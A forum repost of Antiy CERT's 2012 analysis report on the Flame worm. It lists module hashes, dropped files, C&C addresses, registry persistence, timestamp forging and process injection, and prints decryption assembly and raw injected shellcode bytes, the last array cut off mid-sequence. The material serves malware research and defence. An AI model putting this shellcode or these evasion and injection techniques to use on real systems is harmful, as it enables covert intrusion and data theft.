创意安天

 找回密码
 注册创意安天

Flame蠕虫样本集分析报告

[复制链接]
发表于 2012-8-1 10:26:24 | 显示全部楼层 |阅读模式
本帖最后由 wobaxindiule 于 2012-8-1 10:52 编辑

3.jpg


   Flame蠕虫样本集分析报告V1.3.0
2.jpg          
                   安天实验室安全研究与应急处理中心(Antiy CERT)



















1.jpg


创造安全每一天







   日期    版本      说明   
  2012-5-31    V1.1.0    在拿到主模块后开始分析,简单分析了主模块的一些行为,并继续收集有关的样本。  
  2012-6-5    V1.1.1    针对主模块进行详细分析,并开始分析其它各模块。本次更新了Soapr32.ocx的分析。其中字符串采用了加密混淆的方式。  
  2012-6-8    V1.1.2    本次更新了对Msglu32.ocx的分析,此模块会查找系统中的一些文件类型如:office各种格式文档(包括docx、xlsx、pptx等)还有别的类型文件。主模块更新了部分内容。其中字符串密加和Soapr32.ocx很相似。  
  2012-6-11    V1.1.3    本次更新了对Nteps32.ocx的分析,此模块有键盘记录和截取屏幕信息,所记录的信息都是通过加密的。具体加密方式还在分析中。更新部分主模块的分析。  
  2012-6-15    V1.1.4    本次更新了对Advntcfg.ocx的分析,该模块的主要功能是截取屏幕信息和收集系统中的其它信。其中字符串加密和Nteps32.ocx是用的同一种法,参数都是相同的。  
  2012-6-18    V1.1.5    对主模块的持续更新中,修正了部分其它模块的分析和内容。  
  2012-6-23    V1.1.6    对这前几个模块的字符串加密码进行了总结给,和对主模块的部分内容更新。并收集其它模块。  
  2012-7-2    V1.1.7    本次更新修改了上版本的几外问题,还有几处没有修改完明天应全部修改完。今天新增主模块部分分析,和各模块字符串各法对比表。还有两个模块在分析中。  
  2012-7-4    V1.1.8    本次新增了文件功能表、所有衍生文件表和browse32.ocx模块分析,修改了各模块字符串解密表。给出遍历进程列表中的文件说明。  
  2012-7-5    V1.1.9    新增LUA脚本调用函数列表107个,见附录6,其它模块还在分析中。  
  2012-7-6    V1.2.0    Flame 中发现lua模块的静态编译版本和原始文模块内容相同,还新增了主模块部分新分析出来的内容。  
  2012-7-9    V1.2.1    在主模块中整理出来的LUA函数,还有一些没分析出来,还在分析中。在主模块中找出LNK文件漏洞创建的INF文件内容。多处加密码算法还在验证是什么算法。  
  2012-7-10    V1.2.2    更新证明LUA函数如何调用,  jimmy.dll模块在分析中,主模块多处加密码算法还在验证中。  
  2012-7-11    V1.2.3    更新Flame运行后整体过程,还有一些在整理。新加jimmy.dll模块分析,确定了病毒中使用的LUA版本为5.1,而lua 5.1版本发布的时间为:2006年2月21日,这也证明了Flame的开发时间应为2006年2月21日之后。  
  2012-7-12    V1.2.4    发现Flame中的这些被包含在结构中的函数为Debug版,并对照LUA中的Debug版进行了对照是完全一样的。  
  2012-7-13    V1.2.5    在主模块中分析出来一些LUA用的函数有近150个函数可见附录七。  
  2012-7-16    V1.2.6    Lua函数调用还在分析中,今天在内存中找到了一些类似像结构或是类的一些东西见有4000多个  
  2012-7-17    V1.2.7    把DES算法部分证实了,发现调用函数中有16处循环计算表达式。是DES加密算法的明显特征。计算出每个数值后,后面的异或操作也和DES算法的计算方式匹配。  
  2012-7-18    V1.2.8    主模块加载资源到内存,进行简单异或解密:首先传入DB DF AC A2 作为文件头,然后对资源逐字节解密。  
  2012-7-19    V1.2.9    经过对Flame调用lua函数的分析总结发现Flame调用lua脚本的方式。首先程序在初始化过程中在lua环境内创建一些表,然后再这些表中保存key,value形式的键值对,后续通过获取指定的表,然后将表中指定的key的值取出来,作为lua代码执行。  
  2012-7-20    V1.3.0    lua函数解密部分还在分析中,分析00004069.exe文件和boot32drv.sys为同一文件,并在创建的一个服务中调用。其服务在创建完服务后直接将其启动,并加载一些文件后删除些服务。  
 楼主| 发表于 2012-8-1 10:55:47 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-1 11:21 编辑

分析小组絮语
2.jpg

在我们工作的精力中还从没出现过这样的情况,一个分析小团队接近一个月的时间里,只面对一个恶意代码,并且还计划把工作继续下去,尽管在Stuxnet蠕虫中,我们尝试这样做过,但小组只工作了不到10天的时间,便浅尝辄止了。我们自陆续对StuxnetDuquFlame进行分析以来,我们逐渐的发现作为传统的AVER,在面对挑战和变革时传统的方法必须被打破。

传统的恶意代码主要目的为感染更多的计算机,后期演化成利益链条,所以其开发简单直接,功能明确,他们往往采用单体的文件,尽量减小体积以利于可靠传播,因此对其进行分析也相对容易。从另一个意义上说,地下经济虽然催生了类似TrojaBot等的爆发,但并没有影响到攻守双方的平衡,反病毒团队依托捕获体系和后端的自动化分析平台,几乎所有的反病毒厂商都能在很少的人工分析的工作支持下,应对海量的恶意代码。甚至仅凭自动化系统,在无人值守的情况下,新的检测规则同样可以被从新的样本提取出来,并分发给反病毒产品。因此我们滋长了惰性,过多的依赖沙箱和其他的自动化环节,甚至我们一度以为病毒分析工程师的使命正在被淡化和消亡。

而今天的在面对StuxnetFlame等病毒时,一切不同了,用户更多询问我们的不是“如何发现、你的产品能不能杀掉”,而是“他到底干了什么?”、“我如何避免今后类似的攻击”?这些都让我们必须从分析流水线的操纵者,重新变回贴身肉搏的战士,我们需要回到短兵相接的现场勘察、环境复现和深入细腻的后端分析中。

Flame的文件数量和总体大小都是令人震撼的,与之前我们看到的APT场景下的恶意代码一样,类似样本采用模块化,框架化开发,结构复杂,文件较多,但Flame几乎达到了难以想象的程度。其模块分工亦导致了其隐蔽性较好,躲避杀软的能力较高。并且内部封装了各种加密模块来隐藏重要信息。这些体积庞大结构复杂的恶意代码在APT攻击中扮演着精密的任务,其对环境特征的监察非常准确,如果发现环境信息不符合其感染的目的则直接退出,并完全清除痕迹,这种样本不会大规模爆发,依托大量配置信息和远程调度完成工作,在被发现时一般目的已经达成。我们习惯性的分析单体病毒样本,依托自动化分析结果和少量的反汇编,包括那些在分析报告之前,加一个带有hash值的样本标签的习惯工作思路,应对这种复杂的局面时,都显得那样的幼稚和过时。

因此面对这样多的样本和衍生文件,我们最终选择了蚂蚁搬家的方法,小组每人分工分析不同的模块,并把分析结果随手记录下来,我们不指望最终有一篇巨大的研究报告,而是能把这些点滴集合起来,为应对这种攻击提供一些研究基础。小组内有两条线路,一是主模块分析,主模块文件体积有6MB多,分析时投入的时间较多。主要对其加密算法、字符串信息、整体结构等方面进行分析。二是其它模块功能分析,在分析模块功能时发现部分模块具有相同的功能如:收集信息、遍历进程、屏幕窃取等。在分析过程中我们还在内存中发现很多有意思的信息,但我们依然陷于“猜谜”之中。


   我们在后续会继续我们的工作,并力图把更多结果,更新到这份报告之上。在一段时间内,能够持续去做一件有意义的事,是幸福的,特别是与伙伴在一起做的时候。


安天实验室安全研究与应急处理中心

PluckSkyWhitePillcor

2012.07.31

 楼主| 发表于 2012-8-1 10:57:03 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 16:18 编辑

目录
2.jpg
第1章 事件背景
第2章 Flame蠕虫文件信息
第3章 功能分析
        3.1  MSSECMGR.OCX主模块分析
        3.2  Soapr32.ocx模块分析
        3.3  Advnetcfg.ocx模块分析
        3.4  Nteps32.ocx模块分析
        3.5  Msglu32.ocx模块分析
        3.6  Wusetupv.exe模块分析
        3.7  Boot32drv.sys解密分析
        3.8  Browse32.ocx模块分析
        3.9  Jimmy.dll模块分析
第4章 总结与展望
第5章 附录
        附录一
        附录二
        附录三
        附录四
        附录五
        附录六
        附录七
        参考文献
 楼主| 发表于 2012-8-1 11:17:51 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 10:19 编辑

第1章 事件背景


    安天实验室于2012528日起陆续捕获到Flame蠕虫的样本,截止到目前安天已经累计捕获Flame蠕虫主文件的变种数6个,其它模块为20多个不同哈希值的样本实体,并通过这些样本进一步生成了其他的衍生文件。安天成立了专门的分析小组,经过持续分析,发现它是采用多模块化复杂结构实现的信息窃取类型的恶意软件。其主模块文件大小超过6MB。包含了大量加密数据、内嵌开源软件代码(如LUA等)、漏洞攻击代码、模块配置文件、多种加密压缩算法,信息盗取等多种模块。在漏洞攻击模块中发现了Stuxnet使用过的USB攻击模块,Stuxnet事件是发生在2010年针对伊朗核设施的APT攻击事件[1]

据外界现有分析,该恶意软件已经非常谨慎地运作了至少两年时间[2],它不但能够窃取文件,对用户系统进行截屏,通过USB传播禁用安全厂商的安全产品,并可以在一定条件下传播到其他系统,还有可能利用微软Windows系统的已知或已修补的漏洞发动攻击,进而在某个网络中大肆传播。

目前业内各厂商对该蠕虫的评价如下:McAfee认为此威胁是StuxnetDuqu攻击的继续[3];卡巴斯基实验室则认为Flame攻击是目前发现的最为复杂的攻击之一[4],它是一种后门木马并具有蠕虫的特征。赛门铁克认为,Flame与之前两种威胁StuxnetDuqu一样,其代码非一人所为,而是由一个有组织、有资金支持并有明确方向性的网络犯罪团体所编写。

 楼主| 发表于 2012-8-1 11:19:37 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 09:28 编辑

第2章 Flame蠕虫文件信息

   

文件名

   
   

文件MD5与大小

   
   

功能

   
  

mssecmgr.ocx

  
  

b51424138d72d343f22d03438fc9ced5       (1,236,992字节)

  

0a17040c18a6646d485bde9ce899789f       (6,172,160字节)

  

ee4b589a7b5d56ada10d9a15f81dada9   (892,417字节)

  

e5a49547191e16b0a69f633e16b96560       (6,166,528字节)

  

bdc9e04388bda8527b398a8c34667e18 (1,236,992字节)

  

37c97c908706969b2e3addf70b68dc13  (391,168  字节)

  
  

主模块运行后会将其资源文件中的多个功能模块解密释放出来,并将它们注入到多个系统进程中。它通过调用Lua来执行脚本完成指定功能。

  
  

advnetcfg.ocx

  
  

f0a654f7c485ae195ccf81a72fe083a2    (643,072  字节)

  

8ed3846d189c51c6a0d69bdc4e66c1a5  (421,888  字节)

  

bb5441af1e1741fca600e9c433cb1550   (643,944  字节)

  
  

由主模块创建:截取屏幕信息。

  
  

msglu32.ocx

  
  

d53b39fb50841ff163f6e9cfd8b52c2e       (1,721,856  字节)

  

2512321f27a05344867f381f632277d8       (1,729,536  字节)

  
  

由主模块创建:遍历系统中的各种类型的文件,读取特定文件类型文件的信息,将其写入到sql数据库中,同时也可以收集文件中与地域性相关的一些信息。

  
  

nteps32.ocx

  
  

c9e00c9d94d1a790d5923b050b0bd741 (827,392 字节)

  

e66e6dd6c41ece3566f759f7b4ebfa2d   (602,112 字节)

  

5ecad23b3ae7365a25b11d4d608adffd     (827,392 字节)

  
  

由主模块创建:用来键盘记录和截取屏幕信息。对一些邮件域名进行监控。

  
  

rpcns4.ocx

  

soapr32.ocx

  
  

296e04abb00ea5f18ba021c34e486746  (160,768  字节)

  

1f9f0baa3ab56d72daab024936fdcaf3    (188,416  字节)

  

cc54006c114d51ec47c173baea51213d   (253,952  字节)

  

e6cb7c89a0cae27defa0fd06952791b2   (349,596  字节)

  
  

用来收集信息的功能模块。获取系统中的一些信息的,例如:安装的软件信息、网络信息、无线网络信息、USB信息、时间以及时区信息等。

  
  

comspol32.ocx

  
  

20732c97ef66dd97389e219fc0182cb5  (634,880  字节)

  
  

分析中.

  
  

00004784.dll

  

(jimmy.dll)

  
  

ec992e35e794947a17804451f2a8857e  (483,328  字节)

  
  

是用来收集用户计算机信息,包括窗体标题、注册表相关键值信息,计算机名,磁盘类型等。

  
  

wusetupv.exe

  
  

1f61d280067e2564999cac20e386041c  (29,928  字节)

  
  

收集本机各个接口的信息,进程信息,注册表键值信息。

  
  

DSMGR.DLL

  

browse32.ocx

  
  

2afaab2840e4ba6af0e5fa744cd8f41f     (116,224  字节)

  

7d49d4a9d7f0954a970d02e5e1d85b6b(458,869 字节)

  
  

用来删除恶意软件所有痕迹,防止取证分析。

  
  

boot32drv.sys00004069.exe

  
  

06a84ad28bbc9365eb9e08c697555154(49,152 字节)

  
  

它是一个加密数据文件并不是PE文件,加密方式是通过与0xFFxor操作。

  

表2-2Flame蠕虫所有衍生文件和其它文件列表



   Ef_trace.log      dstrlog.dat      mscorest.dat      soapr32.ocx      winrt32.dll   
  GRb9M2.bat    dstrlogh.dat    mscrypt.dat    srcache.dat    winrt32.ocx  
  Lncache.dat    fmpidx.bin    msglu32.ocx    sstab.dat    wpab32.bat  
  Temp~mso2a0.tmp    indsvc32.dll    mspovst.dat    sstab0.dat    wpgfilter.dat  
  Temp~mso2a1.tmp    indsvc32.ocx    mssui.drv    sstab1.dat    ~8C5FF6C.tmp  
  Temp~mso2a2.tmp    lmcache.dat    mssvc32.ocx    sstab10.dat    ~DF05AC8.tmp  
  advnetcfg.ocx    ltcache.dat    nt2cache.dat    sstab11.dat    ~DFD85D3.tmp  
  advpck.dat    m3aaux.dat    ntaps.dat    sstab12.dat    ~DFL543.tmp  
  audfilter.dat    m3afilter.dat    ntcache.dat    sstab15.dat    ~DFL544.tmp  
  authcfg.dat    m3asound.dat    nteps32.ocx    sstab2.dat    ~DFL546.tmp  
  authpack.ocx    m4aaux.dat    pcldrvx.ocx    sstab3.dat    ~HLV084.tmp  
  boot32drv.sys    m4afilter.dat    posttab.bin    sstab4.dat    ~HLV294.tmp  
  ccalc32.sys    m4asound.dat    qpgaaux.dat    sstab5.dat    ~HLV473.tmp  
  commgr32.dll    m5aaux.dat    rccache.dat    sstab6.dat    ~HLV751.tmp  
  comspol32.dll    m5afilter.dat    rpcnc.dat    sstab7.dat    ~HLV927.tmp  
  comspol32.ocx    m5asound.dat    scaud32.exe    sstab8.dat    ~KWI988.tmp  
  ctrllist.dat    mixercfg.dat    scsec32.exe    sstab9.dat    ~KWI989.tmp  
  dmmsap.dat    mixerdef.dat    sdclt32.exe    syscache.dat    ~TFL848.tmp  
  domm.dat    mlcache.dat    secindex.dat    syscache3.dat    ~TFL849.tmp  
  domm2.dat    modevga.com    sndmix.drv    watchxb.sys    ~ZFF042.tmp  
  domm3.dat    mpgaaux.dat    mscorest.dat    wavesup3.drv    ~a28.tmp  
  dommt.dat    mpgaud.dat    mscrypt.dat    winconf32.ocx    ~a38.tmp  
  ~dra51.tmp    ~dra52.tmp    ~dra53.tmp    ~dra61.tmp    ~rei524.tmp  
  ~rei525.tmp    ~rf288.tmp                 

 楼主| 发表于 2012-8-1 11:39:44 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 11:40 编辑

第3章 功能分析


3.1 MSSECMGR.OCX主模块分析

蠕虫主模块是一个文件名为mssecmgr.ocx的DLL文件,我们发现该模块已有多个衍生版本,文件大小为6M,运行后会连接C&C服务器,并试图下载或更新其它模块。主模块不同时期在被感染的机器上文件名有不同,但扩展名都为“OCX”。运行后的主模块会将其资源文件中的多个功能模块解密释放出来,并将多个功能模块注入到多个进程中,功能模块具有获取进程信息、键盘信息、硬件信息、屏幕信息、麦克风、存储设备、网络、WIFI、蓝牙、USB等多种信息的功能。所记录的信息文件存放在%Windir%\temp\下。该蠕虫会先对被感染系统进行勘察,如果不是其想要的攻击对象,它将会自动从被感染系统卸载掉。蠕虫最有可能是通过欺骗微软升级服务器对本地网络传播和通过一个USB接入设备进行传播。蠕虫还能够发现有关其周边设备的信息。通过蓝牙装置,它会寻找其它设备,比如手机或笔记本电脑等。此蠕虫和以往蠕虫有很大程度上的不同,首先主模块体积很大,并包含多个功能模块,内嵌Lua解释器和大量Lua脚本,进行高层的功能扩展。启动方式比较特殊,具有多种压缩和加密方式。
1.
本地行为

1)添加注册表

  • HKLM_SYSTEM\CurrentControlSet\Control\Lsa
  • AuthenticationPackages = mssecmgr.ocx
   注:该键值会达到开机加载mssecmgr.ocx的目的。
       该文件路径为:%system32%\mssecmgr.ocx。

2)文件运行后会释放以下文件
    通过对“146”资源进行释放并加载运行,以下为资源释放的模块:
        
  

   文件      MD5   
  %System32%\advnetcfg.ocx    BB5441AF1E1741FCA600E9C433CB1550  
  %System32%\boot32drv.sys    C81D037B723ADC43E3EE17B1EEE9D6CC  
  %System32%\msglu32.ocx    D53B39FB50841FF163F6E9CFD8B52C2E  
  %Syste32m%\nteps32.ocx    C9E00C9D94D1A790D5923B050B0BD741  
  %Syste32m%\soapr32.ocx    296E04ABB00EA5F18BA021C34E486746  
  %Syste32m%\ccalc32.sys          5AD73D2E4E33BB84155EE4B35FBEFC2B  

其他文件:

  • %Windir%\Ef_trace.log
    在%ProgramFiles%\Common Files\MicrosoftShared\MSAudio目录下为各模块的配置信息和自身副本文件,从网络中更新或下载新模块配置也会在这里,列表如下:
  • Audcache
  • audfilter.dat
  • dstrlog.dat
  • lmcache.dat
  • ntcache.dat
  • mscrypt.dat

在分析过程中发现以上文件可能为病毒的配置文件,当病毒要进行一个操作前先读取此文件中的一块信息,然后完成其指定的操作。病毒先将以上文件释放然后删除一次,最后又重新释放,推测为不同功能之间的重复操作导致。

  • wavesup3.drv(自身副本)
  • wpgfilter.dat
跟据“146”资源配置还可能会存在以下文件目录:
  • %ProgramFiles%\Common Files\Microsoft Shared\MSSecurityMgr
  • %ProgramFiles%\Common Files\Microsoft Shared\MSAudio
  • %ProgramFiles%\Common Files\Microsoft Shared\MSAuthCtrl
  • %ProgramFiles%\Common Files\Microsoft Shared\MSAPackages
%ProgramFiles%\Common Files\Microsoft Shared\MSSndMix

3)遍历安全进程列表
    关于遍历安全进程列表内容参见附录一(详见附录一:为Mssecmgr.ocx文件中的遍历安全进程列表,其列表和别它模块中的一些遍历进程列表中一些进程是相同的。)

4)在主模块中发现一个LUA脚本调用函数列表内容参见附录六。(详见附录六:为Mssecmgr.ocx文件中的LUA脚本调用函数列表内容)

2.网络行为
访问地址1:http://windowsupdate.microsoft.com/
访问地址2:http://windowsupdate.microsoft.com/windowsupdate/v6/default.aspx
协议:Http
端口:80
访问地址:
91.135.66.118[traffic-spot.com][traffic-spot.biz][smart-access.net][quick-net.info]
协议:https
端口:443
    病毒运行后,首先访问windows系统升级服务器地址,然后对IP地址为91.135.66.118的四个域名进行访问,并回传数据。

4.jpg

图3-1 1Post数据





    连接所有的域名信息参加附录二(附录二:连接所有域名列表)。

3.样本文件启动加载顺序

5.jpg

图3-2文件启动加载顺序

该病毒的加载方式有两种,一种是在注册表中添加键值,另一种是利用批处理文件来执行dos命令运行rundll32.exe加载主模块运行。

首先查询注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SeCEdit和查看%Program Files%\CommonFiles\Microsoft Shared\MSAudio\wavesup3.drv文件是否存在。写入HKLM\System\CurrentControlSet\Control\TimeZoneInformation\StandardSize值为:114。

创建MSSecurityMgr目录,写入文件mscrypt.dat,在查询信息文件时每查询后会把更改时间写成1601-1-1 08:00:00,经过1分中后写入wpgfilter.dat文件在查询信息文件时每查询后会把更改时间写成1601-1-108:00:00,经过1分钟左右后写入wavesup3.drv文件查询后会把更改时间写成1601-1-1 08:00:00,写入文件wavesup3.drv后会写入audcache文件接着写入audfilter.dat文件。然后查找以下文件:

  • C:\Documents and Settings\Administrator\Local Settings\Temp\dat3C.tmp
  • C:\Documents and Settings\All Users\Local Settings\Temp\dat3C.tmp
  • C:\Documents and Settings\Default User\Local Settings\Temp\dat3C.tmp
  • C:\Documents and Settings\LocalService\Local Settings\Temp\dat3C.tmp
  • C:\Documents and Settings\NetworkService\Local Settings\Temp\dat3C.tmp
  • C:\WINDOWS\Temp\dat3C.tmp

然后注入进程services.exe调用系统文件shell32.dll文件,并劫持shell32.dll内容,把wpgfilter.dat的内容加载到shell32.dll中,再加载audcache文件内容到shell32.dll中。再加载wavesup3.drv文件,然后释放nteps32.exe文件、comspol32.ocx、advnetcfg.ocx、boot32drv.sys、msglu32.ocx,并将它们的时间改为Kernel32.dll文件的时间,以此躲避安全软件的检测。
    然后注入到Winlogon.exe进程中调用系统文件shell32.dll文件,并劫持shell32.dll内容,把Netps32.ocx和Ccalc32.sys的内容加载到shell32.dll中。并将它们的时间改为Kernel32.dll文件的时间,为了躲避安全软件的检测。
    通过注入Explore.exe进程调用系统文件shell32.dll文件,并劫持shell32.dll内容,并使其创建iexplore.exe进程,把wpgfilter.dat的内容加载到shell32.dll中,然后再加载audcache文件内容到shell32.dll中。几分钟后加载wavesup3.drv文件。查询注册表系统服务项,连接微软升级服务器,然后再连接病毒服务器。

程序中大量数据被加密。加密算法代码位置如下:
0x1000E3F5 procnear
                   test    edx,  edx
                   push  esi
                   mov   esi,   eax
                   jbe     short  0x1000E42F
                   push  ebx
                   push  edi
                   push  0Bh
                   pop    edi
                   sub     edi,  esi
0x1000E403:
                   lea     ecx ,   [edi+esi]
                   lea     eax,   [ecx+0Ch]
                   imul   eax,   ecx
                   add    eax,   dword_10376F70
                   mov   ecx,   eax
                   shr     ecx,   18h
                   mov   ebx,   eax
                   shre   bx,     10h
                   xor     cl,       bl
                   mov   ebx,   eax
                   shr     ebx,    8
                   xor     cl,       bl
                   xor     cl,       al
                   sub    [esi],  cl
                   inc     esi
                   dec    edx
                   jnz     short   0x1000E403
                   pop    edi
                   pop    ebx
0x1000E42F:
                   pop    esi
                   retn
0x1000E3F5 endp

对该函数的调用有2个函数。分别位置如下:

1000E451        movzx    edx,    word   ptr   [ebx+9]
1000E455        lea           eax,    [ebx+0Bh]
1000E458        mov        [ebp+8],   eax
1000E45B        call          0x1000E3F5

1000E498        movzx    edx,   word    ptr   [esi+12h]
1000E49C        lea           ebx,   [esi+14h]
1000E49F        mov         eax,   ebx
1000E4A1        call          0x1000E3F5

解密算法说明:
函数有两个参数:edx [解密字符串长度]eax[解密字符串的起始地址]
返回值:eax[解密后字符串的起始地址]
解密算法:
ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x10376F70h]
注意:n是要解密的字符距起始字符的距离.
CL=(M1)xor(M2)xor(M3)xor(M4)
解密数据 = 加密数据 – CL
第一次调用:
函数有一个参数:arg.1[地址]
解密字符串长度:[word]arg.1+0x9h
解密字符串起始地址:[dword]arg.1+0xBh
返回值:解密后字符串的起始地址
第二次调用:
函数有一个参数:arg.1[address]
解密字符串长度: [word]arg.1+0x12h
解密字符串起始地址: [dword]arg.1+0x14h
返回值:解密后字符串的起始地址

4.实现细节
    对该病毒的调试过程中发现其将所有的指针通过函数EncodePointer进行编码后存储到内部结构中(这也与Duqu的实现方式类似),当使用时再调用DecodePointer解码使用,这样做会使对其静态分析变得极其困难。这个病毒使用了通过获取系统dll
文件的导出函数表并循环查找指定函数的方法来动态获取函数地址,此方法是恶意代码的惯用手段,详见代码。

mov          eax,      [ebp-4]

mov          eax,      [esi+eax*4]          //export func nameoffset

add          eax,     [ebp+module_handle]

push         [ebp+func_name_size]

mov          [ebp+export_func_name],    eax

push          eax

call          IsBadReadPtr

test            eax,      eax

jnz              0x1000BE19

push           [ebp+func_name]

push           [ebp+export_func_name]

call           lstrcmpiA

test             eax,    eax

jz                 short   0x1000BE2B

3-3动态获取指定Dll文件中的函数



 楼主| 发表于 2012-8-1 14:15:54 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 13:04 编辑

该恶意代码在系统路径%ProgramFiles%\Common Files\Microsoft Shared下创建MSSecurityMgr文件夹,并将一些配置文件保存到此目录中。恶意代码会在进程环境变量中保存系统关键目录(WINDOWS目录、SYSTEM32目录、系统临时目录)和自身程序的文件路径。并通过文件查找的API函数来寻找Kernel32.dll文件,并将恶意代码所创建的文件或文件夹的时间设置为与Kernel32.dll文件相同。起到隐藏痕迹的目的。
     该恶意代码先将自身复制为%System32%\mssecmgr.ocx。再通过修改注册表达到启动目的,修改的注册表键值为:
     “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”
     下的“Authentication Packages”。将其值中追加病毒的模块名如图5。此注册表键值的作用是列出了用户身份验证程序包,当用户登录到系统时加载并调用[5]。从而达到开机启动的目的。
6.jpg

图3-4修改的注册表键值

病毒通过遍历进程来查找explorer.exe进程并通过WriteProcessMemory将Shell Code写入到explorer.exe进程中。并且通过CreateRemoteTheread函数创建远程线程执行ShellCode。
    调试发现加密数据,并将其释放到指定目录下。
    C:\Program Files\Common Files\Microsoft Shared\MSSecurityMgr\mscrypt.dat
    此模块中的数据应为配置数据
    分析程序的进程操作行为
    程序利用OpenProcess打开services.exe进程,句柄为0x174
    通过函数WriteProcessMemory向services.exe进程写入shellcode,这也是恶意代码的惯用手法,存在明显恶意行为的代码注入到系统进程中执行,以躲避杀软查杀。
    Sehll code内容,长度为0x82

0x55,0x8B,0xEC,0x51,0x53,0x56,0x57,0x33,0xFF,0x89,0x7D,0xFC,0xE8,0x00,0x00,0x00,

0x00,0x58,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x6A,0x64,0x59,0x48,0x49,0x89,0x45,0xFC,

0x74,0x5B,0x81,0x38,0xBA,0xBA,0x0D,0xF0,0x75,0xF1,0x8D,0x70,0x04,0x8B,0x0E,0x6A,

0xFF,0xFF,0x31,0x8B,0xD8,0xFF,0x50,0x08,0x85,0xC0,0x75,0x2C,0x8B,0x06,0x83,0x7C,

0x07,0x0C,0x00,0x74,0x0E,0xFF,0x75,0x10,0x03,0xC7,0xFF,0x75,0x0C,0xFF,0x70,0x08,

0xFF,0x50,0x0C,0x81,0xC7,0x20,0x02,0x00,0x00,0x81,0xFF,0x00,0x55,0x00,0x00,0x72,

0xDB,0x8B,0x06,0xFF,0x30,0xFF,0x53,0x0C,0xFF,0x75,0x10,0x8B,0x06,0xFF,0x75,0x0C,

0xFF,0x75,0x08,0xFF,0x50,0x04,0x5F,0x5E,0x5B,0xC9,0xC2,0x0C,0x00,0x33,0xC0,0x40,

0xEB,0xF4

第二段shell code会被后面创建的远程线程直接执行
     Shellcode内容,长度为0x70c
0x55,0x8B,0xEC,0x83,0xEC,0x70,0x53,0x33,0xDB,0x56,0x8B,0x75,0x08,0x57,0x33,0xC0,0x89,0x5D,0xA8,0x8D,0x7D,0xAC,0xAB,0xAB,0x8D,0x86,0x74,0x04,0x00,0x00,0x50,0xC6,0x45,0xFA,0x00,0x89,0x5D,0xE8,0x88,0x5D,0xFB,0x89,0x5D,0xE4,0x89,0x5D,0xEC,0x89,0x5D,0xC8,0x89,0x5D,0xD0,0x89,0x5D,0xD4,0x89,0x5D,0xBC,0x89,0x5D,0xC4,0x89,0x5D,0xE0,0x89,0x5D,0xDC,0xC7,0x45,0xF0,0x01,0x00,0xFF,0xFF,0x89,0x9E,0x2C,0x0B,0x00,0x00,0xFF,0x56,0x10,0x3B,0xC3,0x89,0x45,0xC0,0x75,0x0A,0xB8,0x02,0x00,0xFF,0xFF,0xE9,0xA0,0x06,0x00,0x00,0x8D,0x86,0x81,0x04,0x00,0x00,0x50,0xFF,0x75,0xC0,0xFF,0x56,0x1C,0x3B,0xC3,0x75,0x0A,0xB8,0x03,0x00,0xFF,0xFF,0xE9,0x85,0x06,0x00,0x00,0x53,0x8D,0x4D,0xDC,0x51,0x6A,0x01,0x8D,0x8E,0xB6,0x04,0x00,0x00,0x51,0xFF,0xD0,0x85,0xC0,0x75,0x0A,0xB8,0x04,0x00,0xFF,0xFF,0xE9,0x67,0x06,0x00,0x00,0x8B,0x45,0xDC,0x89,0x45,0xAC,0x8D,0x86,0x30,0x0B,0x00,0x00,0x8B,0x78,0x3C,0x03,0xF8,0xC7,0x45,0xA8,0x0C,0x00,0x00,0x00,0x89,0x5D,0xB0,0x0F,0xB7,0x47,0x14,0x8D,0x44,0x38,0x18,0x89,0x45,0xCC,0x8B,0x47,0x08,0x25,0x07,0xF8,0xFF,0xFF,0x05,0x00,0x00,0x90,0xD6,0x3D,0x00,0x00,0x00,0x06,0x0F,0x87,0x24,0x06,0x00,0x00,0x38,0x9E,0x20,0x09,0x00,0x00,0x8B,0x47,0x50,0x89,0x45,0x08,0x74,0x67,0x53,0x53,0x6A,0x03,0x53,0x6A,0x01,0x68,0x00,0x00,0x00,0x80,0x8D,0x86,0x22,0x09,0x00,0x00,0x50,0xFF,0x56,0x50,0x83,0xF8,0xFF,0x89,0x45,0xF4,0x75,0x0A,0xB8,0x06,0x00,0xFF,0xFF,0xE9,0xF3,0x05,0x00,0x00,0x53,0xFF,0x75,0x08,0x53,0x68,0x02,0x00,0x00,0x01,0x53,0x50,0xFF,0x56,0x28,0xFF,0x75,0xF4,0x89,0x45,0xD8,0xFF,0x56,0x4C,0x39,0x5D,0xD8,0x75,0x0A,0xB8,0x07,0x00,0xFF,0xFF,0xE9,0xCC,0x05,0x00,0x00,0xFF,0x75,0x08,0x53,0x53,0x6A,0x04,0xFF,0x75,0xD8,0xFF,0x56,0x30,0xFF,0x75,0xD8,0x89,0x45,0xF4,0xFF,0x56,0x4C,0xEB,0x0F,0x6A,0x04,0x68,0x00,0x10,0x00,0x00,0x50,0x53,0xFF,0x56,0x04,0x89,0x45,0xF4,0x39,0x5D,0xF4,0x75,0x0A,0xB8,0x08,0x00,0xFF,0xFF,0xE9,0x96,0x05,0x00,0x00,0x8D,0x45,0xC4,0x50,0x6A,0x04,0xFF,0x75,0x08,0xFF,0x75,0xF4,0xFF,0x56,0x0C,0x85,0xC0,0x75,0x0C,0xC7,0x45,0xF0,0x09,0x00,0xFF,0xFF,0xE9,0x8D,0x04,0x00,0x00,0xFF,0x77,0x50,0x53,0xFF,0x75,0xF4,0xFF,0x56,0x24,0xFF,0x77,0x54,0x8D,0x86,0x30,0x0B,0x00,0x00,0x50,0xFF,0x75,0xF4,0xFF,0x56,0x20,0x83,0xC4,0x18,0x66,0x39,0x5F,0x06,0x89,0x5D,0x08,0x76,0x35,0x0F,0xB7,0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,0xFF,0x70,0x10,0x8B,0x50,0x14,0x8B,0x40,0x0C,0x03,0x45,0xF4,0x8D,0x8E,0x30,0x0B,0x00,0x00,0x03,0xD1,0x52,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0xFF,0x45,0x08,0x66,0x8B,0x45,0x08,0x66,0x3B,0x47,0x06,0x72,0xCB,0x8B,0x45,0xF4,0x2B,0x47,0x34,0x89,0x45,0xB8,0x0